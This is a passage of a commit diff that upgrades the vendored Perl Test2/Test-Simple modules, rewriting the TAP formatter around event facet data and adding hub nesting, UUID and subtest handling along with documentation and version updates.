-    my @tap = $self->$converter($e, $self->{+NO_NUMBERS} ? undef : $num) or return;
+    $f ||= $e->facet_data;
 
+    $self->encoding($f->{control}->{encoding}) if $f->{control}->{encoding};
+
+    my @tap = $self->event_tap($f, $num) or return;
+
+    $self->{+MADE_ASSERTION} = 1 if $f->{assert};
+
+    my $nesting = $f->{trace}->{nested} || 0;
     my $handles = $self->{+HANDLES};
-    my $nesting = ($SAFE_TO_ACCESS_HASH{$type} ? $e->{nested} : $e->nested) || 0;
     my $indent = '    ' x $nesting;
 
     # Local is expensive! Only do it if we really need to.
@@ -101,255 +102,296 @@
         next unless $msg;
         my $io = $handles->[$hid] or next;
 
+        print $io "\n"
+            if $ENV{HARNESS_ACTIVE}
+            && !$ENV{HARNESS_IS_VERBOSE}
+            && $hid == OUT_ERR
+            && $self->{+_LAST_FH} != $io
+            && $msg =~ m/^#\s*Failed test /;
+
         $msg =~ s/^/$indent/mg if $nesting;
         print $io $msg;
+        $self->{+_LAST_FH} = $io;
     }
 }
 
-sub _open_handles {
-    my $self = shift;
+sub print_optimal_pass {
+    my ($self, $e, $num) = @_;
 
-    my %seen;
-    open(my $out, '>&', STDOUT) or die "Can't dup STDOUT:  $!";
-    binmode($out, join(":", "", "raw", grep { $_ ne 'unix' and !$seen{$_}++ } PerlIO::get_layers(STDOUT)));
+    my $type = ref($e);
 
-    %seen = ();
-    open(my $err, '>&', STDERR) or die "Can't dup STDERR:  $!";
-    binmode($err, join(":", "", "raw", grep { $_ ne 'unix' and !$seen{$_}++ } PerlIO::get_layers(STDERR)));
+    # Only optimal if this is a Pass or a passing Ok
+    return unless $type eq 'Test2::Event::Pass' || ($type eq 'Test2::Event::Ok' && $e->{pass});
 
-    _autoflush($out);
-    _autoflush($err);
+    # Amnesty requires further processing (todo is a form of amnesty)
+    return if ($e->{amnesty} && @{$e->{amnesty}}) || defined($e->{todo});
 
-    return [$out, $err];
-}
+    # A name with a newline or hash symbol needs extra processing
+    return if defined($e->{name}) && (-1 != index($e->{name}, "\n") || -1 != index($e->{name}, '#'));
 
-sub _autoflush {
-    my($fh) = pop;
-    my $old_fh = select $fh;
-    $| = 1;
-    select $old_fh;
-}
+    my $ok = 'ok';
+    $ok .= " $num" if $num && !$self->{+NO_NUMBERS};
+    $ok .= defined($e->{name}) ? " - $e->{name}\n" : "\n";
 
-sub event_tap {
-    my $self = shift;
-    my ($e, $num) = @_;
+    if (my $nesting = $e->{trace}->{nested}) {
+        my $indent = '    ' x $nesting;
+        $ok = "$indent$ok";
+    }
 
-    my $converter = $CONVERTERS{ref($e)} or return;
+    my $io = $self->{+HANDLES}->[OUT_STD];
 
-    $num = undef if $self->{+NO_NUMBERS};
+    local($\, $,) = (undef, '') if $\ || $,;
+    print $io $ok;
+    $self->{+_LAST_FH} = $io;
 
-    return $self->$converter($e, $num);
+    return 1;
 }
 
-sub event_ok {
-    my $self = shift;
-    my ($e, $num) = @_;
+sub event_tap {
+    my ($self, $f, $num) = @_;
 
-    # We use direct hash access for performance. OK events are so common we
-    # need this to be fast.
-    my ($name, $todo) = @{$e}{qw/name todo/};
-    my $in_todo = defined($todo);
+    my @tap;
 
-    my $out = "";
-    $out .= "not " unless $e->{pass};
-    $out .= "ok";
-    $out .= " $num" if defined($num);
+    # If this IS the first event the plan should come first
+    # (plan must be before or after assertions, not in the middle)
+    push @tap => $self->plan_tap($f) if $f->{plan} && !$self->{+MADE_ASSERTION};
 
-    # The regex form is ~250ms, the index form is ~50ms
-    my @extra;
-    defined($name) && (
-        (index($name, "\n") != -1 && (($name, @extra) = split(/\n\r?/, $name, -1))),
-        ((index($name, "#" ) != -1  || substr($name, -1) eq '\\') && (($name =~ s|\\|\\\\|g), ($name =~ s|#|\\#|g)))
-    );
+    # The assertion is most important, if present.
+    if ($f->{assert}) {
+        push @tap => $self->assert_tap($f, $num);
+        push @tap => $self->debug_tap($f, $num) unless $f->{assert}->{no_debug} || $f->{assert}->{pass};
+    }
 
-    my $space = @extra ? ' ' x (length($out) + 2) : '';
+    # Almost as important as an assertion
+    push @tap => $self->error_tap($f) if $f->{errors};
 
-    $out .= " - $name" if defined $name;
-    $out .= " # TODO" if $in_todo;
-    $out .= " $todo" if defined($todo) && length($todo);
+    # Now lets see the diagnostics messages
+    push @tap => $self->info_tap($f) if $f->{info};
 
-    # The primary line of TAP, if the test passed this is all we need.
-    return([OUT_STD, "$out\n"]) unless @extra;
+    # If this IS NOT the first event the plan should come last
+    # (plan must be before or after assertions, not in the middle)
+    push @tap => $self->plan_tap($f) if $self->{+MADE_ASSERTION} && $f->{plan};
 
-    return $self->event_ok_multiline($out, $space, @extra);
+    # Bail out
+    push @tap => $self->halt_tap($f) if $f->{control}->{halt};
+
+    return @tap if @tap;
+    return @tap if $f->{control}->{halt};
+    return @tap if grep { $f->{$_} } qw/assert plan info errors/;
+
+    # Use the summary as a fallback if nothing else is usable.
+    return $self->summary_tap($f, $num);
 }
 
-sub event_ok_multiline {
+sub error_tap {
     my $self = shift;
-    my ($out, $space, @extra) = @_;
+    my ($f) = @_;
 
-    return(
-        [OUT_STD, "$out\n"],
-        map {[OUT_STD, "#${space}$_\n"]} @extra,
-    );
+    my $IO = ($f->{amnesty} && @{$f->{amnesty}}) ? OUT_STD : OUT_ERR;
+
+    return map {
+        my $details = $_->{details};
+
+        my $msg;
+        if (ref($details)) {
+            require Data::Dumper;
+            my $dumper = Data::Dumper->new([$details])->Indent(2)->Terse(1)->Pad('# ')->Useqq(1)->Sortkeys(1);
+            chomp($msg = $dumper->Dump);
+        }
+        else {
+            chomp($msg = $details);
+            $msg =~ s/^/# /;
+            $msg =~ s/\n/\n# /g;
+        }
+
+        [$IO, "$msg\n"];
+    } @{$f->{errors}};
 }
 
-sub event_skip {
+sub plan_tap {
     my $self = shift;
-    my ($e, $num) = @_;
+    my ($f) = @_;
+    my $plan = $f->{plan} or return;
 
-    my $name   = $e->name;
-    my $reason = $e->reason;
-    my $todo   = $e->todo;
+    return if $plan->{none};
 
-    my $out = "";
-    $out .= "not " unless $e->{pass};
-    $out .= "ok";
-    $out .= " $num" if defined $num;
-    $out .= " - $name" if $name;
-    if (defined($todo)) {
-        $out .= " # TODO & SKIP"
+    if ($plan->{skip}) {
+        my $reason = $plan->{details} or return [OUT_STD, "1..0 # SKIP\n"];
+        chomp($reason);
+        return [OUT_STD, '1..0 # SKIP ' . $reason . "\n"];
     }
-    else {
-        $out .= " # skip";
-    }
-    $out .= " $reason" if defined($reason) && length($reason);
 
-    return([OUT_STD, "$out\n"]);
+    return [OUT_STD, "1.." . $plan->{count} . "\n"];
 }
 
-sub event_note {
+sub no_subtest_space { 0 }
+sub assert_tap {
     my $self = shift;
-    my ($e, $num) = @_;
+    my ($f, $num) = @_;
 
-    chomp(my $msg = $e->message);
-    $msg =~ s/^/# /;
-    $msg =~ s/\n/\n# /g;
+    my $assert = $f->{assert} or return;
+    my $pass = $assert->{pass};
+    my $name = $assert->{details};
 
-    return [OUT_STD, "$msg\n"];
-}
+    my $ok = $pass ? 'ok' : 'not ok';
+    $ok .= " $num" if $num && !$self->{+NO_NUMBERS};
 
-sub event_diag {
-    my $self = shift;
-    my ($e, $num) = @_;
+    # The regex form is ~250ms, the index form is ~50ms
+    my @extra;
+    defined($name) && (
+        (index($name, "\n") != -1 && (($name, @extra) = split(/\n\r?/, $name, -1))),
+        ((index($name, "#" ) != -1  || substr($name, -1) eq '\\') && (($name =~ s|\\|\\\\|g), ($name =~ s|#|\\#|g)))
+    );
 
-    chomp(my $msg = $e->message);
-    $msg =~ s/^/# /;
-    $msg =~ s/\n/\n# /g;
+    my $extra_space = @extra ? ' ' x (length($ok) + 2) : '';
+    my $extra_indent = '';
 
-    return [OUT_ERR, "$msg\n"];
-}
+    my ($directives, $reason, $is_skip);
+    if ($f->{amnesty}) {
+        my %directives;
 
-sub event_bail {
-    my $self = shift;
-    my ($e, $num) = @_;
+        for my $am (@{$f->{amnesty}}) {
+            next if $am->{inherited};
+            my $tag = $am->{tag} or next;
+            $is_skip = 1 if $tag eq 'skip';
 
-    return if $e->nested;
+            $directives{$tag} ||= $am->{details};
+        }
 
-    return [
-        OUT_STD,
-        "Bail out!  " . $e->reason . "\n",
-    ];
-}
+        my %seen;
+        my @order = grep { !$seen{$_}++ } sort keys %directives;
 
-sub event_exception {
-    my $self = shift;
-    my ($e, $num) = @_;
-    return [ OUT_ERR, $e->error ];
-}
+        $directives = ' # ' . join ' & ' => @order;
 
-sub event_subtest {
-    my $self = shift;
-    my ($e, $num) = @_;
+        for my $tag ('skip', @order) {
+            next unless defined($directives{$tag}) && length($directives{$tag});
+            $reason = $directives{$tag};
+            last;
+        }
+    }
 
-    # A 'subtest' is a subclass of 'ok'. Let the code that renders 'ok' render
-    # this event.
-    my ($ok, @diag) = $self->event_ok($e, $num);
+    $ok .= " - $name" if defined $name && !($is_skip && !$name);
 
-    # If the subtest is not buffered then the sub-events have already been
-    # rendered, we can go ahead and return.
-    return ($ok, @diag) unless $e->buffered;
+    my @subtap;
+    if ($f->{parent} && $f->{parent}->{buffered}) {
+        $ok .= ' {';
 
-    # In a verbose harness we indent the diagnostics from the 'Ok' event since
-    # they will appear inside the subtest braces. This helps readability. In a
-    # non-verbose harness we do not do this because it is less readable.
-    if ($ENV{HARNESS_IS_VERBOSE}) {
-        # index 0 is the filehandle, index 1 is the message we want to indent.
-        $_->[1] =~ s/^(.*\S.*)$/    $1/mg for @diag;
+        # In a verbose harness we indent the extra since they will appear
+        # inside the subtest braces. This helps readability. In a non-verbose
+        # harness we do not do this because it is less readable.
+        if ($ENV{HARNESS_IS_VERBOSE} || !$ENV{HARNESS_ACTIVE}) {
+            $extra_indent = "    ";
+            $extra_space = ' ';
+        }
+
+        # Render the sub-events, we use our own counter for these.
+        my $count = 0;
+        @subtap = map {
+            my $f2 = $_;
+
+            # Bump the count for any event that should bump it.
+            $count++ if $f2->{assert};
+
+            # This indents all output lines generated for the sub-events.
+            # index 0 is the filehandle, index 1 is the message we want to indent.
+            map { $_->[1] =~ s/^(.*\S.*)$/    $1/mg; $_ } $self->event_tap($f2, $count);
+        } @{$f->{parent}->{children}};
+
+        push @subtap => [OUT_STD, "}\n"];
     }
 
-    # Add the trailing ' {' to the 'ok' line of TAP output.
-    $ok->[1] =~ s/\n/ {\n/;
+    if ($directives) {
+        $directives = ' # TODO & SKIP' if $directives eq ' # TODO & skip';
+        $ok .= $directives;
+        $ok .= " $reason" if defined($reason);
+    }
 
-    # Render the sub-events, we use our own counter for these.
-    my $count = 0;
-    my @subs = map {
-        # Bump the count for any event that should bump it.
-        $count++ if $_->increments_count;
+    $extra_space = ' ' if $self->no_subtest_space;
 
-        # This indents all output lines generated for the sub-events.
-        # index 0 is the filehandle, index 1 is the message we want to indent.
-        map { $_->[1] =~ s/^(.*\S.*)$/    $1/mg; $_ } $self->event_tap($_, $count);
-    } @{$e->subevents};
+    my @out = ([OUT_STD, "$ok\n"]);
+    push @out => map {[OUT_STD, "${extra_indent}#${extra_space}$_\n"]} @extra if @extra;
+    push @out => @subtap;
 
-    return (
-        $ok,                # opening ok - name {
-        @diag,              #   diagnostics if the subtest failed
-        @subs,              #   All the inner-event lines
-        [OUT_STD(), "}\n"], # } (closing brace)
-    );
+    return @out;
 }
 
-sub event_plan {
-    my $self = shift;
-    my ($e, $num) = @_;
+sub debug_tap {
+    my ($self, $f, $num) = @_;
 
-    my $directive = $e->directive;
-    return if $directive && $directive eq 'NO PLAN';
+    # Figure out the debug info, this is typically the file name and line
+    # number, but can also be a custom message. If no trace object is provided
+    # then we have nothing useful to display.
+    my $name  = $f->{assert}->{details};
+    my $trace = $f->{trace};
 
-    my $reason = $e->reason;
-    $reason =~ s/\n/\n# /g if $reason;
-
-    my $plan = "1.." . $e->max;
-    if ($directive) {
-        $plan .= " # $directive";
-        $plan .= " $reason" if defined $reason;
+    my $debug = "[No trace info available]";
+    if ($trace->{details}) {
+        $debug = $trace->{details};
     }
+    elsif ($trace->{frame}) {
+        my ($pkg, $file, $line) = @{$trace->{frame}};
+        $debug = "at $file line $line." if $file && $line;
+    }
 
-    return [OUT_STD, "$plan\n"];
+    my $amnesty = $f->{amnesty} && @{$f->{amnesty}}
+        ? ' (with amnesty)'
+        : '';
+
+    # Create the initial diagnostics. If the test has a name we put the debug
+    # info on a second line, this behavior is inherited from Test::Builder.
+    my $msg = defined($name)
+        ? qq[# Failed test${amnesty} '$name'\n# $debug\n]
+        : qq[# Failed test${amnesty} $debug\n];
+
+    my $IO = $f->{amnesty} && @{$f->{amnesty}} ? OUT_STD : OUT_ERR;
+
+    return [$IO, $msg];
 }
 
-sub event_version {
-    my $self = shift;
-    my ($e, $num) = @_;
+sub halt_tap {
+    my ($self, $f) = @_;
 
-    my $version = $e->version;
+    return if $f->{trace}->{nested} && !$f->{trace}->{buffered};
+    my $details = $f->{control}->{details};
 
-    return [OUT_STD, "TAP version $version\n"];
+    return [OUT_STD, "Bail out!\n"] unless defined($details) && length($details);
+    return [OUT_STD, "Bail out!  $details\n"];
 }
 
-sub event_other {
-    my $self = shift;
-    my ($e, $num) = @_;
-    return if $e->no_display;
+sub info_tap {
+    my ($self, $f) = @_;
 
-    my @out;
+    return map {
+        my $details = $_->{details};
 
-    if (my ($max, $directive, $reason) = $e->sets_plan) {
-        my $plan = "1..$max";
-        $plan .= " # $directive" if $directive;
-        $plan .= " $reason" if defined $reason;
-        push @out => [OUT_STD, "$plan\n"];
-    }
+        my $IO = $_->{debug} && !($f->{amnesty} && @{$f->{amnesty}}) ? OUT_ERR : OUT_STD;
 
-    if ($e->increments_count) {
-        my $ok = "";
-        $ok .= "not " if $e->causes_fail;
-        $ok .= "ok";
-        $ok .= " $num" if defined($num);
-        $ok .= " - " . $e->summary if $e->summary;
+        my $msg;
+        if (ref($details)) {
+            require Data::Dumper;
+            my $dumper = Data::Dumper->new([$details])->Indent(2)->Terse(1)->Pad('# ')->Useqq(1)->Sortkeys(1);
+            chomp($msg = $dumper->Dump);
+        }
+        else {
+            chomp($msg = $details);
+            $msg =~ s/^/# /;
+            $msg =~ s/\n/\n# /g;
+        }
 
-        push @out => [OUT_STD, "$ok\n"];
-    }
-    else { # Comment
-        my $handle =  ($e->causes_fail || $e->diagnostics) ? OUT_ERR : OUT_STD;
-        my $summary = $e->summary || ref($e);
-        chomp($summary);
-        $summary =~ s/^/# /smg;
-        push @out => [$handle, "$summary\n"];
-    }
+        [$IO, "$msg\n"];
+    } @{$f->{info}};
+}
 
-    return @out;
+sub summary_tap {
+    my ($self, $f, $num) = @_;
+
+    return if $f->{about}->{no_display};
+
+    my $summary = $f->{about}->{details} or return;
+    chomp($summary);
+    $summary =~ s/^/# /smg;
+
+    return [OUT_STD, "$summary\n"];
 }
 
 1;
@@ -408,101 +450,8 @@
 
 Write an event to the console.
 
-=item Test2::Formatter::TAP->register_event($pkg, sub { ... });
-
-In general custom events are not supported. There are however occasions where
-you might want to write a custom event type that results in TAP output. In
-order to do this you use the C<register_event()> class method.
-
-    package My::Event;
-    use Test2::Formatter::TAP;
-
-    use base 'Test2::Event';
-    use Test2::Util::HashBase qw/pass name diag note/;
-
-    Test2::Formatter::TAP->register_event(
-        __PACKAGE__,
-        sub {
-            my $self = shift;
-            my ($e, $num) = @_;
-            return (
-                [Test2::Formatter::TAP::OUT_STD, "ok $num - " . $e->name . "\n"],
-                [Test2::Formatter::TAP::OUT_ERR, "# " . $e->name . " " . $e->diag . "\n"],
-                [Test2::Formatter::TAP::OUT_STD, "# " . $e->name . " " . $e->note . "\n"],
-            );
-        }
-    );
-
-    1;
-
 =back
 
-=head2 EVENT METHODS
-
-All these methods require the event itself. Optionally they can all except a
-test number.
-
-All methods return a list of array-refs. Each array-ref will have 2 items, the
-first is an integer identifying an output handle, the second is a string that
-should be written to the handle.
-
-=over 4
-
-=item @out = $TAP->event_ok($e)
-
-=item @out = $TAP->event_ok($e, $num)
-
-Process an L<Test2::Event::Ok> event.
-
-=item @out = $TAP->event_plan($e)
-
-=item @out = $TAP->event_plan($e, $num)
-
-Process an L<Test2::Event::Plan> event.
-
-=item @out = $TAP->event_note($e)
-
-=item @out = $TAP->event_note($e, $num)
-
-Process an L<Test2::Event::Note> event.
-
-=item @out = $TAP->event_diag($e)
-
-=item @out = $TAP->event_diag($e, $num)
-
-Process an L<Test2::Event::Diag> event.
-
-=item @out = $TAP->event_bail($e)
-
-=item @out = $TAP->event_bail($e, $num)
-
-Process an L<Test2::Event::Bail> event.
-
-=item @out = $TAP->event_exception($e)
-
-=item @out = $TAP->event_exception($e, $num)
-
-Process an L<Test2::Event::Exception> event.
-
-=item @out = $TAP->event_skip($e)
-
-=item @out = $TAP->event_skip($e, $num)
-
-Process an L<Test2::Event::Skip> event.
-
-=item @out = $TAP->event_subtest($e)
-
-=item @out = $TAP->event_subtest($e, $num)
-
-Process an L<Test2::Event::Subtest> event.
-
-=item @out = $TAP->event_other($e, $num)
-
-Fallback for unregistered event types. It uses the L<Test2::Event> API to
-convert the event to TAP.
-
-=back
-
 =head1 SOURCE
 
 The source code repository for Test2 can be found at
@@ -528,7 +477,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Formatter.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Formatter.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Formatter.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 my %ADDED;
@@ -14,6 +14,11 @@
     Test2::API::test2_formatter_add($class);
 }
 
+sub new_root {
+    my $class = shift;
+    return $class->new(@_);
+}
+
 sub hide_buffered { 1 }
 
 sub terminate { }
@@ -56,12 +61,18 @@
 
     sub finalize { }
 
+    sub new_root {
+        my $class = shift;
+        ...
+        $class->new(@_);
+    }
+
     1;
 
 The C<write> method is a method, so it either gets a class or instance. The two
 arguments are the C<$event> object it should record, and the C<$assert_num>
 which is the number of the current assertion (ok), or the last assertion if
-this even is not itself an assertion. The assertion number may be any integer 0
+this event is not itself an assertion. The assertion number may be any integer 0
 or greater, and may be undefined in some cases.
 
 The C<hide_buffered()> method must return a boolean. This is used to tell
@@ -81,6 +92,12 @@
 except when C<terminate> is called for a Bail event >>. It is passed the
 following arguments:
 
+The C<new_root> method is called when C<Test2::API::Stack> Initializes the root
+hub for the first time. Most formatters will simply have this call C<<
+$class->new >>, which is the default behavior. Some formatters however may want
+to take extra action during construction of the root formatter, this is where
+they can do that.
+
 =over 4
 
 =item * The number of tests that were planned
@@ -118,7 +135,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Hub/Interceptor/Terminator.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Hub/Interceptor/Terminator.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Hub/Interceptor/Terminator.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 1;
@@ -41,7 +41,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Hub/Interceptor.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Hub/Interceptor.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Hub/Interceptor.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 use Test2::Hub::Interceptor::Terminator();
@@ -10,10 +10,18 @@
 BEGIN { require Test2::Hub; our @ISA = qw(Test2::Hub) }
 use Test2::Util::HashBase;
 
+sub init {
+    my $self = shift;
+    $self->SUPER::init();
+    $self->{+NESTED} = 0;
+}
+
 sub inherit {
     my $self = shift;
     my ($from, %params) = @_;
 
+    $self->{+NESTED} = 0;
+
     if ($from->{+IPC} && !$self->{+IPC} && !exists($params{ipc})) {
         my $ipc = $from->{+IPC};
         $self->{+IPC} = $ipc;
@@ -70,7 +78,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Hub/Subtest.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Hub/Subtest.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Hub/Subtest.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,31 +2,31 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
-
 BEGIN { require Test2::Hub; our @ISA = qw(Test2::Hub) }
-use Test2::Util::HashBase qw/nested bailed_out exit_code manual_skip_all id/;
+use Test2::Util::HashBase qw/nested exit_code manual_skip_all/;
 use Test2::Util qw/get_tid/;
 
-my $ID = 1;
-sub init {
+sub is_subtest { 1 }
+
+sub inherit {
     my $self = shift;
-    $self->SUPER::init(@_);
-    $self->{+ID} ||= join "-", $$, get_tid, $ID++;
-}
+    my ($from) = @_;
 
-sub is_subtest { 1 }
+    $self->SUPER::inherit($from);
 
-sub process {
-    my $self = shift;
-    my ($e) = @_;
-    $e->set_nested($self->nested);
-    $e->set_in_subtest($self->{+ID});
-    $self->set_bailed_out($e) if $e->isa('Test2::Event::Bail');
-    $self->SUPER::process($e);
+    $self->{+NESTED} = $from->nested + 1;
 }
 
+{
+    # Legacy
+    no warnings 'once';
+    *ID = \&Test2::Hub::HID;
+    *id = \&Test2::Hub::hid;
+    *set_id = \&Test2::Hub::set_hid;
+}
+
 sub send {
     my $self = shift;
     my ($e) = @_;
@@ -34,10 +34,16 @@
     my $out = $self->SUPER::send($e);
 
     return $out if $self->{+MANUAL_SKIP_ALL};
-    return $out unless $e->isa('Test2::Event::Plan')
-        && $e->directive eq 'SKIP'
-        && ($e->trace->pid != $self->pid || $e->trace->tid != $self->tid);
 
+    my $f = $e->facet_data;
+
+    my $plan = $f->{plan} or return $out;
+    return $out unless $plan->{skip};
+
+    my $trace = $f->{trace} or die "Missing Trace!";
+    return $out unless $trace->{pid} != $self->pid
+                    || $trace->{tid} != $self->tid;
+
     no warnings 'exiting';
     last T2_SUBTEST_WRAPPER;
 }
@@ -44,14 +50,19 @@
 
 sub terminate {
     my $self = shift;
-    my ($code, $e) = @_;
+    my ($code, $e, $f) = @_;
     $self->set_exit_code($code);
 
     return if $self->{+MANUAL_SKIP_ALL};
-    return if $e->isa('Test2::Event::Plan')
-           && $e->directive eq 'SKIP'
-           && ($e->trace->pid != $$ || $e->trace->tid != get_tid);
 
+    $f ||= $e->facet_data;
+
+    if(my $plan = $f->{plan}) {
+        my $trace = $f->{trace} or die "Missing Trace!";
+        return if $plan->{skip}
+               && ($trace->{pid} != $$ || $trace->{tid} != get_tid);
+    }
+
     no warnings 'exiting';
     last T2_SUBTEST_WRAPPER;
 }
@@ -115,7 +126,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Hub.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Hub.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Hub.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 use Carp qw/carp croak confess/;
@@ -9,10 +9,12 @@
 use Test2::Util qw/get_tid ipc_separator/;
 
 use Scalar::Util qw/weaken/;
+use List::Util qw/first/;
 
 use Test2::Util::ExternalMeta qw/meta get_meta set_meta delete_meta/;
 use Test2::Util::HashBase qw{
     pid tid hid ipc
+    nested buffered
     no_ending
     _filters
     _pre_filters
@@ -23,6 +25,7 @@
     _context_init
     _context_release
 
+    uuid
     active
     count
     failed
@@ -33,6 +36,8 @@
     skip_reason
 };
 
+my $UUID_VIA;
+
 my $ID_POSTFIX = 1;
 sub init {
     my $self = shift;
@@ -41,6 +46,12 @@
     $self->{+TID} = get_tid();
     $self->{+HID} = join ipc_separator, $self->{+PID}, $self->{+TID}, $ID_POSTFIX++;
 
+    $UUID_VIA ||= Test2::API::_add_uuid_via_ref();
+    $self->{+UUID} = ${$UUID_VIA}->('hub') if $$UUID_VIA;
+
+    $self->{+NESTED}   = 0 unless defined $self->{+NESTED};
+    $self->{+BUFFERED} = 0 unless defined $self->{+BUFFERED};
+
     $self->{+COUNT}    = 0;
     $self->{+FAILED}   = 0;
     $self->{+_PASSING} = 1;
@@ -56,6 +67,21 @@
 
 sub is_subtest { 0 }
 
+sub _tb_reset {
+    my $self = shift;
+
+    # Nothing to do
+    return if $self->{+PID} == $$ && $self->{+TID} == get_tid();
+
+    $self->{+PID} = $$;
+    $self->{+TID} = get_tid();
+    $self->{+HID} = join ipc_separator, $self->{+PID}, $self->{+TID}, $ID_POSTFIX++;
+
+    if (my $ipc = $self->{+IPC}) {
+        $ipc->add_hub($self->{+HID});
+    }
+}
+
 sub reset_state {
     my $self = shift;
 
@@ -73,6 +99,8 @@
     my $self = shift;
     my ($from, %params) = @_;
 
+    $self->{+NESTED} ||= 0;
+
     $self->{+_FORMATTER} = $from->{+_FORMATTER}
         unless $self->{+_FORMATTER} || exists($params{formatter});
 
@@ -250,6 +278,23 @@
     my $self = shift;
     my ($e) = @_;
 
+    $e->add_hub(
+        {
+            details => ref($self),
+
+            buffered => $self->{+BUFFERED},
+            hid      => $self->{+HID},
+            nested   => $self->{+NESTED},
+            pid      => $self->{+PID},
+            tid      => $self->{+TID},
+            uuid     => $self->{+UUID},
+
+            ipc => $self->{+IPC} ? 1 : 0,
+        }
+    );
+
+    $e->set_uuid(${$UUID_VIA}->('event')) if $$UUID_VIA;
+
     if ($self->{+_PRE_FILTERS}) {
         for (@{$self->{+_PRE_FILTERS}}) {
             $e = $_->{code}->($self, $e);
@@ -281,32 +326,63 @@
         }
     }
 
+    # Optimize the most common case
     my $type = ref($e);
-    my $is_ok = $type eq 'Test2::Event::Ok';
-    my $no_fail = $type eq 'Test2::Event::Diag' || $type eq 'Test2::Event::Note';
-    my $causes_fail = $is_ok ? !$e->{effective_pass} : $no_fail ? 0 : $e->causes_fail;
-    my $counted = $is_ok || (!$no_fail && $e->increments_count);
+    if ($type eq 'Test2::Event::Pass' || ($type eq 'Test2::Event::Ok' && $e->{pass})) {
+        my $count = ++($self->{+COUNT});
+        $self->{+_FORMATTER}->write($e, $count) if $self->{+_FORMATTER};
 
-    $self->{+COUNT}++      if $counted;
-    $self->{+FAILED}++     if $causes_fail && $counted;
-    $self->{+_PASSING} = 0 if $causes_fail;
+        if ($self->{+_LISTENERS}) {
+            $_->{code}->($self, $e, $count) for @{$self->{+_LISTENERS}};
+        }
 
-    my $callback = $e->callback($self) unless $is_ok || $no_fail;
+        return $e;
+    }
 
+    my $f = $e->facet_data;
+
+    my $fail = 0;
+    $fail = 1 if $f->{assert} && !$f->{assert}->{pass};
+    $fail = 1 if $f->{errors} && grep { $_->{fail} } @{$f->{errors}};
+    $fail = 0 if $f->{amnesty};
+
+    $self->{+COUNT}++ if $f->{assert};
+    $self->{+FAILED}++ if $fail && $f->{assert};
+    $self->{+_PASSING} = 0 if $fail;
+
+    my $code = $f->{control}->{terminate};
     my $count = $self->{+COUNT};
 
-    $self->{+_FORMATTER}->write($e, $count) if $self->{+_FORMATTER};
+    if (my $plan = $f->{plan}) {
+        if ($plan->{skip}) {
+            $self->plan('SKIP');
+            $self->set_skip_reason($plan->{details} || 1);
+            $code ||= 0;
+        }
+        elsif ($plan->{none}) {
+            $self->plan('NO PLAN');
+        }
+        else {
+            $self->plan($plan->{count});
+        }
+    }
 
+    $e->callback($self) if $f->{control}->{has_callback};
+
+    $self->{+_FORMATTER}->write($e, $count, $f) if $self->{+_FORMATTER};
+
     if ($self->{+_LISTENERS}) {
-        $_->{code}->($self, $e, $count) for @{$self->{+_LISTENERS}};
+        $_->{code}->($self, $e, $count, $f) for @{$self->{+_LISTENERS}};
     }
 
-    return $e if $is_ok || $no_fail;
+    if ($f->{control}->{halt}) {
+        $code ||= 255;
+        $self->set_bailed_out($e);
+    }
 
-    my $code = $e->terminate;
     if (defined $code) {
